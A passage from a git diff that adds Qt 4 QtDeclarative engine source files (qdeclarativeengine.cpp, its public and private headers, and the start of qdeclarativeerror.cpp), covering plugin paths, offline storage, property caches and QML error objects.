+ \sa pluginPathList() addPluginPath()
+ */
+void QDeclarativeEngine::setPluginPathList(const QStringList &paths)
+{
+ Q_D(QDeclarativeEngine);
+ d->importDatabase.setPluginPathList(paths);
+}
+
+
+/*!
+ Imports the plugin named \a filePath with the \a uri provided.
+ Returns true if the plugin was successfully imported; otherwise returns false.
+
+ On failure and if non-null, *\a errorString will be set to a message describing the failure.
+
+ The plugin has to be a Qt plugin which implements the QDeclarativeExtensionPlugin interface.
+*/
+bool QDeclarativeEngine::importPlugin(const QString &filePath, const QString &uri, QString *errorString)
+{
+ Q_D(QDeclarativeEngine);
+ return d->importDatabase.importPlugin(filePath, uri, errorString);
+}
+
+/*!
+ \property QDeclarativeEngine::offlineStoragePath
+ \brief the directory for storing offline user data
+
+ Returns the directory where SQL and other offline
+ storage is placed.
+
+ QDeclarativeWebView and the SQL databases created with openDatabase()
+ are stored here.
+
+ The default is QML/OfflineStorage in the platform-standard
+ user application data directory.
+
+ Note that the path may not currently exist on the filesystem, so
+ callers wanting to \e create new files at this location should create
+ it first - see QDir::mkpath().
+*/
+void QDeclarativeEngine::setOfflineStoragePath(const QString& dir)
+{
+ Q_D(QDeclarativeEngine);
+ d->scriptEngine.offlineStoragePath = dir;
+}
+
+QString QDeclarativeEngine::offlineStoragePath() const
+{
+ Q_D(const QDeclarativeEngine);
+ return d->scriptEngine.offlineStoragePath;
+}
+
+static void voidptr_destructor(void *v)
+{
+ void **ptr = (void **)v;
+ delete ptr;
+}
+
+static void *voidptr_constructor(const void *v)
+{
+ if (!v) {
+ return new void*;
+ } else {
+ return new void*(*(void **)v);
+ }
+}
+
+QDeclarativePropertyCache *QDeclarativeEnginePrivate::createCache(const QMetaObject *mo)
+{
+ Q_Q(QDeclarativeEngine);
+
+ if (!mo->superClass()) {
+ QDeclarativePropertyCache *rv = new QDeclarativePropertyCache(q, mo);
+ propertyCache.insert(mo, rv);
+ return rv;
+ } else {
+ QDeclarativePropertyCache *super = cache(mo->superClass());
+ QDeclarativePropertyCache *rv = super->copy();
+ rv->append(q, mo);
+ propertyCache.insert(mo, rv);
+ return rv;
+ }
+}
+
+QDeclarativePropertyCache *QDeclarativeEnginePrivate::createCache(QDeclarativeType *type, int minorVersion,
+ QDeclarativeError &error)
+{
+ QList<QDeclarativeType *> types;
+
+ int maxMinorVersion = 0;
+
+ const QMetaObject *metaObject = type->metaObject();
+ while (metaObject) {
+ QDeclarativeType *t = QDeclarativeMetaType::qmlType(metaObject, type->module(),
+ type->majorVersion(), minorVersion);
+ if (t) {
+ maxMinorVersion = qMax(maxMinorVersion, t->minorVersion());
+ types << t;
+ } else {
+ types << 0;
+ }
+
+ metaObject = metaObject->superClass();
+ }
+
+ if (QDeclarativePropertyCache *c = typePropertyCache.value(qMakePair(type, maxMinorVersion))) {
+ c->addref();
+ typePropertyCache.insert(qMakePair(type, minorVersion), c);
+ return c;
+ }
+
+ QDeclarativePropertyCache *raw = cache(type->metaObject());
+
+ bool hasCopied = false;
+
+ for (int ii = 0; ii < types.count(); ++ii) {
+ QDeclarativeType *currentType = types.at(ii);
+ if (!currentType)
+ continue;
+
+ int rev = currentType->metaObjectRevision();
+ int moIndex = types.count() - 1 - ii;
+
+ if (raw->allowedRevisionCache[moIndex] != rev) {
+ if (!hasCopied) {
+ raw = raw->copy();
+ hasCopied = true;
+ }
+ raw->allowedRevisionCache[moIndex] = rev;
+ }
+ }
+
+ // Test revision compatibility - the basic rule is:
+ // * Anything that is excluded, cannot overload something that is not excluded *
+
+ // Signals override:
+ // * other signals and methods of the same name.
+ // * properties named on<Signal Name>
+ // * automatic <property name>Changed notify signals
+
+ // Methods override:
+ // * other methods of the same name
+
+ // Properties override:
+ // * other elements of the same name
+
+ bool overloadError = false;
+ QString overloadName;
+
+#if 0
+ for (QDeclarativePropertyCache::StringCache::ConstIterator iter = raw->stringCache.begin();
+ !overloadError && iter != raw->stringCache.end();
+ ++iter) {
+
+ QDeclarativePropertyCache::Data *d = *iter;
+ if (raw->isAllowedInRevision(d))
+ continue; // Not excluded - no problems
+
+ // check that a regular "name" overload isn't happening
+ QDeclarativePropertyCache::Data *current = d;
+ while (!overloadError && current) {
+ current = d->overrideData(current);
+ if (current && raw->isAllowedInRevision(current))
+ overloadError = true;
+ }
+ }
+#endif
+
+ if (overloadError) {
+ if (hasCopied) raw->release();
+
+ error.setDescription(QLatin1String("Type ") + QString::fromUtf8(type->qmlTypeName()) + QLatin1String(" ") + QString::number(type->majorVersion()) + QLatin1String(".") + QString::number(minorVersion) + QLatin1String(" contains an illegal property \"") + overloadName + QLatin1String("\". This is an error in the type's implementation."));
+ return 0;
+ }
+
+ if (!hasCopied) raw->addref();
+ typePropertyCache.insert(qMakePair(type, minorVersion), raw);
+
+ if (minorVersion != maxMinorVersion) {
+ raw->addref();
+ typePropertyCache.insert(qMakePair(type, maxMinorVersion), raw);
+ }
+
+ return raw;
+}
+
+void QDeclarativeEnginePrivate::registerCompositeType(QDeclarativeCompiledData *data)
+{
+ QByteArray name = data->root->className();
+
+ QByteArray ptr = name + '*';
+ QByteArray lst = "QDeclarativeListProperty<" + name + '>';
+
+ int ptr_type = QMetaType::registerType(ptr.constData(), voidptr_destructor,
+ voidptr_constructor);
+ int lst_type = QMetaType::registerType(lst.constData(), voidptr_destructor,
+ voidptr_constructor);
+
+ m_qmlLists.insert(lst_type, ptr_type);
+ m_compositeTypes.insert(ptr_type, data);
+ data->addref();
+}
+
+bool QDeclarativeEnginePrivate::isList(int t) const
+{
+ return m_qmlLists.contains(t) || QDeclarativeMetaType::isList(t);
+}
+
+int QDeclarativeEnginePrivate::listType(int t) const
+{
+ QHash<int, int>::ConstIterator iter = m_qmlLists.find(t);
+ if (iter != m_qmlLists.end())
+ return *iter;
+ else
+ return QDeclarativeMetaType::listType(t);
+}
+
+bool QDeclarativeEnginePrivate::isQObject(int t)
+{
+ return m_compositeTypes.contains(t) || QDeclarativeMetaType::isQObject(t);
+}
+
+QObject *QDeclarativeEnginePrivate::toQObject(const QVariant &v, bool *ok) const
+{
+ int t = v.userType();
+ if (t == QMetaType::QObjectStar || m_compositeTypes.contains(t)) {
+ if (ok) *ok = true;
+ return *(QObject **)(v.constData());
+ } else {
+ return QDeclarativeMetaType::toQObject(v, ok);
+ }
+}
+
+QDeclarativeMetaType::TypeCategory QDeclarativeEnginePrivate::typeCategory(int t) const
+{
+ if (m_compositeTypes.contains(t))
+ return QDeclarativeMetaType::Object;
+ else if (m_qmlLists.contains(t))
+ return QDeclarativeMetaType::List;
+ else
+ return QDeclarativeMetaType::typeCategory(t);
+}
+
+const QMetaObject *QDeclarativeEnginePrivate::rawMetaObjectForType(int t) const
+{
+ QHash<int, QDeclarativeCompiledData*>::ConstIterator iter = m_compositeTypes.find(t);
+ if (iter != m_compositeTypes.end()) {
+ return (*iter)->root;
+ } else {
+ QDeclarativeType *type = QDeclarativeMetaType::qmlType(t);
+ return type?type->baseMetaObject():0;
+ }
+}
+
+const QMetaObject *QDeclarativeEnginePrivate::metaObjectForType(int t) const
+{
+ QHash<int, QDeclarativeCompiledData*>::ConstIterator iter = m_compositeTypes.find(t);
+ if (iter != m_compositeTypes.end()) {
+ return (*iter)->root;
+ } else {
+ QDeclarativeType *type = QDeclarativeMetaType::qmlType(t);
+ return type?type->metaObject():0;
+ }
+}
+
+bool QDeclarative_isFileCaseCorrect(const QString &fileName)
+{
+#if defined(Q_OS_MAC) || defined(Q_OS_WIN32)
+ QFileInfo info(fileName);
+
+ QString absolute = info.absoluteFilePath();
+
+#if defined(Q_OS_MAC)
+ QString canonical = info.canonicalFilePath();
+#elif defined(Q_OS_WIN32)
+ wchar_t buffer[1024];
+
+ DWORD rv = ::GetShortPathName((wchar_t*)absolute.utf16(), buffer, 1024);
+ if (rv == 0 || rv >= 1024) return true;
+ rv = ::GetLongPathName(buffer, buffer, 1024);
+ if (rv == 0 || rv >= 1024) return true;
+
+ QString canonical((QChar *)buffer);
+#endif
+
+ int absoluteLength = absolute.length();
+ int canonicalLength = canonical.length();
+
+ int length = qMin(absoluteLength, canonicalLength);
+ for (int ii = 0; ii < length; ++ii) {
+ const QChar &a = absolute.at(absoluteLength - 1 - ii);
+ const QChar &c = canonical.at(canonicalLength - 1 - ii);
+
+ if (a.toLower() != c.toLower())
+ return true;
+ if (a != c)
+ return false;
+ }
+#else
+ Q_UNUSED(fileName)
+#endif
+ return true;
+}
+
+QT_END_NAMESPACE
diff --git a/src/declarative/qml/qdeclarativeengine.h b/src/declarative/qml/qdeclarativeengine.h
new file mode 100644
index 00000000..fd061159
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeengine.h
@@ -0,0 +1,130 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEENGINE_H
+#define QDECLARATIVEENGINE_H
+
+#include <QtCore/qurl.h>
+#include <QtCore/qobject.h>
+#include <QtCore/qmap.h>
+#include <QtScript/qscriptvalue.h>
+#include <QtDeclarative/qdeclarativeerror.h>
+#include <QtDeclarative/qdeclarativedebug.h>
+
+QT_BEGIN_HEADER
+
+QT_BEGIN_NAMESPACE
+
+QT_MODULE(Declarative)
+
+class QDeclarativeComponent;
+class QDeclarativeEnginePrivate;
+class QDeclarativeImportsPrivate;
+class QDeclarativeExpression;
+class QDeclarativeContext;
+class QDeclarativeType;
+class QUrl;
+class QScriptEngine;
+class QScriptContext;
+class QDeclarativeImageProvider;
+class QNetworkAccessManager;
+class QDeclarativeNetworkAccessManagerFactory;
+class Q_DECLARATIVE_EXPORT QDeclarativeEngine : public QObject
+{
+ Q_PROPERTY(QString offlineStoragePath READ offlineStoragePath WRITE setOfflineStoragePath)
+ Q_OBJECT
+public:
+ QDeclarativeEngine(QObject *p = 0);
+ virtual ~QDeclarativeEngine();
+
+ QDeclarativeContext *rootContext() const;
+
+ void clearComponentCache();
+
+ QStringList importPathList() const;
+ void setImportPathList(const QStringList &paths);
+ void addImportPath(const QString& dir);
+
+ QStringList pluginPathList() const;
+ void setPluginPathList(const QStringList &paths);
+ void addPluginPath(const QString& dir);
+
+ bool importPlugin(const QString &filePath, const QString &uri, QString *errorString);
+
+ void setNetworkAccessManagerFactory(QDeclarativeNetworkAccessManagerFactory *);
+ QDeclarativeNetworkAccessManagerFactory *networkAccessManagerFactory() const;
+
+ QNetworkAccessManager *networkAccessManager() const;
+
+ void addImageProvider(const QString &id, QDeclarativeImageProvider *);
+ QDeclarativeImageProvider *imageProvider(const QString &id) const;
+ void removeImageProvider(const QString &id);
+
+ void setOfflineStoragePath(const QString& dir);
+ QString offlineStoragePath() const;
+
+ QUrl baseUrl() const;
+ void setBaseUrl(const QUrl &);
+
+ bool outputWarningsToStandardError() const;
+ void setOutputWarningsToStandardError(bool);
+
+ static QDeclarativeContext *contextForObject(const QObject *);
+ static void setContextForObject(QObject *, QDeclarativeContext *);
+
+ enum ObjectOwnership { CppOwnership, JavaScriptOwnership };
+ static void setObjectOwnership(QObject *, ObjectOwnership);
+ static ObjectOwnership objectOwnership(QObject *);
+
+Q_SIGNALS:
+ void quit();
+ void warnings(const QList<QDeclarativeError> &warnings);
+
+private:
+ Q_DISABLE_COPY(QDeclarativeEngine)
+ Q_DECLARE_PRIVATE(QDeclarativeEngine)
+};
+
+QT_END_NAMESPACE
+
+QT_END_HEADER
+
+#endif // QDECLARATIVEENGINE_H
diff --git a/src/declarative/qml/qdeclarativeengine_p.h b/src/declarative/qml/qdeclarativeengine_p.h
new file mode 100644
index 00000000..e43f75bb
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeengine_p.h
@@ -0,0 +1,387 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEENGINE_P_H
+#define QDECLARATIVEENGINE_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "qdeclarativeengine.h"
+
+#include "private/qdeclarativetypeloader_p.h"
+#include "private/qdeclarativeimport_p.h"
+#include "private/qpodvector_p.h"
+#include "qdeclarative.h"
+#include "private/qdeclarativevaluetype_p.h"
+#include "qdeclarativecontext.h"
+#include "private/qdeclarativecontext_p.h"
+#include "qdeclarativeexpression.h"
+#include "qdeclarativeimageprovider.h"
+#include "private/qdeclarativeproperty_p.h"
+#include "private/qdeclarativepropertycache_p.h"
+#include "private/qdeclarativeobjectscriptclass_p.h"
+#include "private/qdeclarativecontextscriptclass_p.h"
+#include "private/qdeclarativevaluetypescriptclass_p.h"
+#include "private/qdeclarativemetatype_p.h"
+#include "private/qdeclarativedirparser_p.h"
+
+#include <QtScript/QScriptClass>
+#include <QtScript/QScriptValue>
+#include <QtScript/QScriptString>
+#include <QtCore/qstring.h>
+#include <QtCore/qlist.h>
+#include <QtCore/qpair.h>
+#include <QtCore/qstack.h>
+#include <QtCore/qmutex.h>
+#include <QtScript/qscriptengine.h>
+
+#include <private/qobject_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeContext;
+class QDeclarativeEngine;
+class QDeclarativeContextPrivate;
+class QDeclarativeExpression;
+class QDeclarativeContextScriptClass;
+class QDeclarativeImportDatabase;
+class QDeclarativeObjectScriptClass;
+class QDeclarativeTypeNameScriptClass;
+class QDeclarativeValueTypeScriptClass;
+class QNetworkReply;
+class QNetworkAccessManager;
+class QDeclarativeNetworkAccessManagerFactory;
+class QDeclarativeAbstractBinding;
+class QScriptDeclarativeClass;
+class QDeclarativeTypeNameScriptClass;
+class QDeclarativeTypeNameCache;
+class QDeclarativeComponentAttached;
+class QDeclarativeListScriptClass;
+class QDeclarativeCleanup;
+class QDeclarativeDelayedError;
+class QDeclarativeWorkerScriptEngine;
+class QDeclarativeGlobalScriptClass;
+class QDir;
+
+class QDeclarativeScriptEngine : public QScriptEngine
+{
+public:
+ QDeclarativeScriptEngine(QDeclarativeEnginePrivate *priv);
+ virtual ~QDeclarativeScriptEngine();
+
+ QUrl resolvedUrl(QScriptContext *context, const QUrl& url); // resolved against p's context, or baseUrl if no p
+ static QScriptValue resolvedUrl(QScriptContext *ctxt, QScriptEngine *engine);
+
+ static QDeclarativeScriptEngine *get(QScriptEngine* e) { return static_cast<QDeclarativeScriptEngine*>(e); }
+
+ QDeclarativeEnginePrivate *p;
+
+ // User by SQL API
+ QScriptClass *sqlQueryClass;
+ QString offlineStoragePath;
+
+ // Used by DOM Core 3 API
+ QScriptClass *namedNodeMapClass;
+ QScriptClass *nodeListClass;
+
+ QUrl baseUrl;
+
+ virtual QNetworkAccessManager *networkAccessManager();
+};
+
+class Q_AUTOTEST_EXPORT QDeclarativeEnginePrivate : public QObjectPrivate
+{
+ Q_DECLARE_PUBLIC(QDeclarativeEngine)
+public:
+ QDeclarativeEnginePrivate(QDeclarativeEngine *);
+ ~QDeclarativeEnginePrivate();
+
+ void init();
+
+ struct CapturedProperty {
+ CapturedProperty(QObject *o, int c, int n)
+ : object(o), coreIndex(c), notifier(0), notifyIndex(n) {}
+ CapturedProperty(QDeclarativeNotifier *n)
+ : object(0), coreIndex(-1), notifier(n), notifyIndex(-1) {}
+
+ QObject *object;
+ int coreIndex;
+ QDeclarativeNotifier *notifier;
+ int notifyIndex;
+ };
+ bool captureProperties;
+ QPODVector<CapturedProperty> capturedProperties;
+
+ QDeclarativeContext *rootContext;
+ bool isDebugging;
+
+ bool outputWarningsToStdErr;
+
+ QDeclarativeContextScriptClass *contextClass;
+ QDeclarativeContextData *sharedContext;
+ QObject *sharedScope;
+ QDeclarativeObjectScriptClass *objectClass;
+ QDeclarativeValueTypeScriptClass *valueTypeClass;
+ QDeclarativeTypeNameScriptClass *typeNameClass;
+ QDeclarativeListScriptClass *listClass;
+ // Global script class
+ QDeclarativeGlobalScriptClass *globalClass;
+
+ // Registered cleanup handlers
+ QDeclarativeCleanup *cleanup;
+
+ // Bindings that have had errors during startup
+ QDeclarativeDelayedError *erroredBindings;
+ int inProgressCreations;
+
+ QDeclarativeScriptEngine scriptEngine;
+
+ QDeclarativeWorkerScriptEngine *getWorkerScriptEngine();
+ QDeclarativeWorkerScriptEngine *workerScriptEngine;
+
+ QUrl baseUrl;
+
+ template<class T>
+ struct SimpleList {
+ SimpleList()
+ : count(0), values(0) {}
+ SimpleList(int r)
+ : count(0), values(new T*[r]) {}
+
+ int count;
+ T **values;
+
+ void append(T *v) {
+ values[count++] = v;
+ }
+
+ T *at(int idx) const {
+ return values[idx];
+ }
+
+ void clear() {
+ delete [] values;
+ }
+ };
+
+ static void clear(SimpleList<QDeclarativeAbstractBinding> &);
+ static void clear(SimpleList<QDeclarativeParserStatus> &);
+
+ QList<SimpleList<QDeclarativeAbstractBinding> > bindValues;
+ QList<SimpleList<QDeclarativeParserStatus> > parserStatus;
+ QList<QPair<QDeclarativeGuard<QObject>,int> > finalizedParserStatus;
+ QDeclarativeComponentAttached *componentAttached;
+
+ void registerFinalizedParserStatusObject(QObject *obj, int index) {
+ finalizedParserStatus.append(qMakePair(QDeclarativeGuard<QObject>(obj), index));
+ }
+
+ bool inBeginCreate;
+
+ QNetworkAccessManager *createNetworkAccessManager(QObject *parent) const;
+ QNetworkAccessManager *getNetworkAccessManager() const;
+ mutable QNetworkAccessManager *networkAccessManager;
+ mutable QDeclarativeNetworkAccessManagerFactory *networkAccessManagerFactory;
+
+ QHash<QString,QSharedPointer<QDeclarativeImageProvider> > imageProviders;
+ QDeclarativeImageProvider::ImageType getImageProviderType(const QUrl &url);
+ QImage getImageFromProvider(const QUrl &url, QSize *size, const QSize& req_size);
+ QPixmap getPixmapFromProvider(const QUrl &url, QSize *size, const QSize& req_size);
+
+ mutable QMutex mutex;
+
+ QDeclarativeTypeLoader typeLoader;
+ QDeclarativeImportDatabase importDatabase;
+
+ QString offlineStoragePath;
+
+ mutable quint32 uniqueId;
+ quint32 getUniqueId() const {
+ return uniqueId++;
+ }
+
+ QDeclarativeValueTypeFactory valueTypes;
+
+ QHash<const QMetaObject *, QDeclarativePropertyCache *> propertyCache;
+ QHash<QPair<QDeclarativeType *, int>, QDeclarativePropertyCache *> typePropertyCache;
+ inline QDeclarativePropertyCache *cache(QObject *obj);
+ inline QDeclarativePropertyCache *cache(const QMetaObject *);
+ inline QDeclarativePropertyCache *cache(QDeclarativeType *, int, QDeclarativeError &error);
+ QDeclarativePropertyCache *createCache(const QMetaObject *);
+ QDeclarativePropertyCache *createCache(QDeclarativeType *, int, QDeclarativeError &error);
+
+ void registerCompositeType(QDeclarativeCompiledData *);
+
+ bool isQObject(int);
+ QObject *toQObject(const QVariant &, bool *ok = 0) const;
+ QDeclarativeMetaType::TypeCategory typeCategory(int) const;
+ bool isList(int) const;
+ int listType(int) const;
+ const QMetaObject *rawMetaObjectForType(int) const;
+ const QMetaObject *metaObjectForType(int) const;
+ QHash<int, int> m_qmlLists;
+ QHash<int, QDeclarativeCompiledData *> m_compositeTypes;
+
+ QHash<QString, QScriptValue> m_sharedScriptImports;
+
+ QScriptValue scriptValueFromVariant(const QVariant &);
+ QVariant scriptValueToVariant(const QScriptValue &, int hint = QVariant::Invalid);
+
+ void sendQuit();
+ void warning(const QDeclarativeError &);
+ void warning(const QList<QDeclarativeError> &);
+ static void warning(QDeclarativeEngine *, const QDeclarativeError &);
+ static void warning(QDeclarativeEngine *, const QList<QDeclarativeError> &);
+ static void warning(QDeclarativeEnginePrivate *, const QDeclarativeError &);
+ static void warning(QDeclarativeEnginePrivate *, const QList<QDeclarativeError> &);
+
+ static QScriptValue qmlScriptObject(QObject*, QDeclarativeEngine*);
+
+ static QScriptValue createComponent(QScriptContext*, QScriptEngine*);
+ static QScriptValue createQmlObject(QScriptContext*, QScriptEngine*);
+ static QScriptValue isQtObject(QScriptContext*, QScriptEngine*);
+ static QScriptValue vector3d(QScriptContext*, QScriptEngine*);
+ static QScriptValue rgba(QScriptContext*, QScriptEngine*);
+ static QScriptValue hsla(QScriptContext*, QScriptEngine*);
+ static QScriptValue point(QScriptContext*, QScriptEngine*);
+ static QScriptValue size(QScriptContext*, QScriptEngine*);
+ static QScriptValue rect(QScriptContext*, QScriptEngine*);
+
+ static QScriptValue lighter(QScriptContext*, QScriptEngine*);
+ static QScriptValue darker(QScriptContext*, QScriptEngine*);
+ static QScriptValue tint(QScriptContext*, QScriptEngine*);
+
+ static QScriptValue desktopOpenUrl(QScriptContext*, QScriptEngine*);
+ static QScriptValue fontFamilies(QScriptContext*, QScriptEngine*);
+ static QScriptValue md5(QScriptContext*, QScriptEngine*);
+ static QScriptValue btoa(QScriptContext*, QScriptEngine*);
+ static QScriptValue atob(QScriptContext*, QScriptEngine*);
+ static QScriptValue consoleLog(QScriptContext*, QScriptEngine*);
+ static QScriptValue quit(QScriptContext*, QScriptEngine*);
+
+#ifndef QT_NO_DATESTRING
+ static QScriptValue formatDate(QScriptContext*, QScriptEngine*);
+ static QScriptValue formatTime(QScriptContext*, QScriptEngine*);
+ static QScriptValue formatDateTime(QScriptContext*, QScriptEngine*);
+#endif
+ static QScriptEngine *getScriptEngine(QDeclarativeEngine *e) { return &e->d_func()->scriptEngine; }
+ static QDeclarativeEngine *getEngine(QScriptEngine *e) { return static_cast<QDeclarativeScriptEngine*>(e)->p->q_func(); }
+ static QDeclarativeEnginePrivate *get(QDeclarativeEngine *e) { return e->d_func(); }
+ static QDeclarativeEnginePrivate *get(QDeclarativeContext *c) { return (c && c->engine()) ? QDeclarativeEnginePrivate::get(c->engine()) : 0; }
+ static QDeclarativeEnginePrivate *get(QDeclarativeContextData *c) { return (c && c->engine) ? QDeclarativeEnginePrivate::get(c->engine) : 0; }
+ static QDeclarativeEnginePrivate *get(QScriptEngine *e) { return static_cast<QDeclarativeScriptEngine*>(e)->p; }
+ static QDeclarativeEngine *get(QDeclarativeEnginePrivate *p) { return p->q_func(); }
+ QDeclarativeContextData *getContext(QScriptContext *);
+ QUrl getUrl(QScriptContext *);
+
+ static QString urlToLocalFileOrQrc(const QUrl& url);
+
+ static void defineModule();
+
+ static bool qml_debugging_enabled;
+};
+
+/*!
+Returns a QDeclarativePropertyCache for \a obj if one is available.
+
+If \a obj is null, being deleted or contains a dynamic meta object 0
+is returned.
+
+The returned cache is not referenced, so if it is to be stored, call addref().
+*/
+QDeclarativePropertyCache *QDeclarativeEnginePrivate::cache(QObject *obj)
+{
+ if (!obj || QObjectPrivate::get(obj)->metaObject || QObjectPrivate::get(obj)->wasDeleted)
+ return 0;
+
+ const QMetaObject *mo = obj->metaObject();
+ QDeclarativePropertyCache *rv = propertyCache.value(mo);
+ if (!rv) rv = createCache(mo);
+ return rv;
+}
+
+/*!
+Returns a QDeclarativePropertyCache for \a metaObject.
+
+As the cache is persisted for the life of the engine, \a metaObject must be
+a static "compile time" meta-object, or a meta-object that is otherwise known to
+exist for the lifetime of the QDeclarativeEngine.
+
+The returned cache is not referenced, so if it is to be stored, call addref().
+*/
+QDeclarativePropertyCache *QDeclarativeEnginePrivate::cache(const QMetaObject *metaObject)
+{
+ Q_ASSERT(metaObject);
+
+ QDeclarativePropertyCache *rv = propertyCache.value(metaObject);
+ if (!rv) rv = createCache(metaObject);
+ return rv;
+}
+
+/*!
+Returns a QDeclarativePropertyCache for \a type with \a minorVersion.
+
+The returned cache is not referenced, so if it is to be stored, call addref().
+*/
+QDeclarativePropertyCache *QDeclarativeEnginePrivate::cache(QDeclarativeType *type, int minorVersion, QDeclarativeError &error)
+{
+ Q_ASSERT(type);
+
+ if (minorVersion == -1 || !type->containsRevisionedAttributes())
+ return cache(type->metaObject());
+
+ QDeclarativePropertyCache *rv = typePropertyCache.value(qMakePair(type, minorVersion));
+ if (!rv) rv = createCache(type, minorVersion, error);
+ return rv;
+}
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEENGINE_P_H
diff --git a/src/declarative/qml/qdeclarativeerror.cpp b/src/declarative/qml/qdeclarativeerror.cpp
new file mode 100644
index 00000000..a538c751
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeerror.cpp
@@ -0,0 +1,285 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qdeclarativeerror.h"
+
+#include <QtCore/qdebug.h>
+#include <QtCore/qfile.h>
+#include <QtCore/qstringlist.h>
+
+QT_BEGIN_NAMESPACE
+
+/*!
+ \class QDeclarativeError
+ \since 4.7
+ \brief The QDeclarativeError class encapsulates a QML error.
+
+ QDeclarativeError includes a textual description of the error, as well
+ as location information (the file, line, and column). The toString()
+ method creates a single-line, human-readable string containing all of
+ this information, for example:
+ \code
+ file:///home/user/test.qml:7:8: Invalid property assignment: double expected
+ \endcode
+
+ You can use qDebug() or qWarning() to output errors to the console. This method
+ will attempt to open the file indicated by the error
+ and include additional contextual information.
+ \code
+ file:///home/user/test.qml:7:8: Invalid property assignment: double expected
+ y: "hello"
+ ^
+ \endcode
+
+ \sa QDeclarativeView::errors(), QDeclarativeComponent::errors()
+*/
+class QDeclarativeErrorPrivate
+{
+public:
+ QDeclarativeErrorPrivate();
+
+ QUrl url;
+ QString description;
+ int line;
+ int column;
+};
+
+QDeclarativeErrorPrivate::QDeclarativeErrorPrivate()
+: line(-1), column(-1)
+{
+}
+
+/*!
+ Creates an empty error object.
+*/
+QDeclarativeError::QDeclarativeError()
+: d(0)
+{
+}
+
+/*!
+ Creates a copy of \a other.
+*/
+QDeclarativeError::QDeclarativeError(const QDeclarativeError &other)
+: d(0)
+{
+ *this = other;
+}
+
+/*!
+ Assigns \a other to this error object.
+*/
+QDeclarativeError &QDeclarativeError::operator=(const QDeclarativeError &other)
+{
+ if (!other.d) {
+ delete d;
+ d = 0;
+ } else {
+ if (!d) d = new QDeclarativeErrorPrivate;
+ d->url = other.d->url;
+ d->description = other.d->description;
+ d->line = other.d->line;
+ d->column = other.d->column;
+ }
+ return *this;
+}
+
+/*!
+ \internal
+*/
+QDeclarativeError::~QDeclarativeError()
+{
+ delete d; d = 0;
+}
+
+/*!
+ Returns true if this error is valid, otherwise false.
+*/
